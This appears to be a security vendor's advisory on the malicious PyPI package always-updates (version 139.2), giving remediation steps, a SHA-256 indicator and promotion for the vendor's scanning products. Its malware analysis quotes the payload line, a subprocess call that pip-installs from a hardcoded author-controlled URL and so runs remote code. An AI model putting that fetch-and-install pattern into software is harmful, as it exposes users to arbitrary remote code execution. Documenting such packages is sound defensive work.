Which versions of always-updates are malicious?

The following PyPI versions of always-updates are flagged malicious: 139.2. Treat any of these as compromised.

How do I remediate always-updates if I installed it?

Remove always-updates from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed always-updates — how do I know if it already compromised me?

If always-updates was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is always-updates part of a known attack campaign?

Yes — always-updates is associated with the IN-MAL-2026-002555 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find always-updates across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for always-updates (version 139.2). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging always-updates across your stack and pipelines.

Malicious package

always-updatesPyPI

Malicious code in always-updates (PyPI) Remove it immediately and rotate any exposed credentials.

MAL-2026-3685

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

pip uninstall always-updates

What this malware does

The package's sole advertised CLI (aupd, registered as a console_scripts entry point to always_updates.main:main) executes subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'https://aupd.19700101t000000z.com']) (always_updates/main.py lines 7 and 16). Running the documented command causes pip to download and install an arbitrary Python distribution from a hardcoded author-controlled endpoint: no version pin, no hash/signature verification, destination is not PyPI nor a documented publisher CDN. Because pip install <url> executes the downloaded package's setup.py, this is arbitrary remote code execution against the installer's machine by design, with attacker-mutable content served from the author's host. Corroborating soft signals: the endpoint hostname aupd.19700101t000000z.com is an anonymously-registered epoch-zero domain, the author email ([email protected]) and referenced GitHub org look theatrical/placeholder — matching the generic-placeholder-metadata-plus-network shape. The harm fires when the user runs the CLI, not at pip install time, but the package's entire advertised purpose is to fetch-and-execute whatever the author-controlled server returns; every invocation is a new, unverified remote payload.

Malicious versions

1 flagged

139.2

Indicators of compromise (SHA-256)

dee16a964c16035579f7be2f965a801f87876080603f389e1e75ec3073bd5c2c

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for always-updates (version 139.2). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging always-updates across your stack and pipelines.
If you installed it — respond
Remove always-updates from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If always-updates was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks always-updates before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. always-updates on PyPI has been identified as a malicious package (version 139.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-002555

References

pypi.org

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks always-updates-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring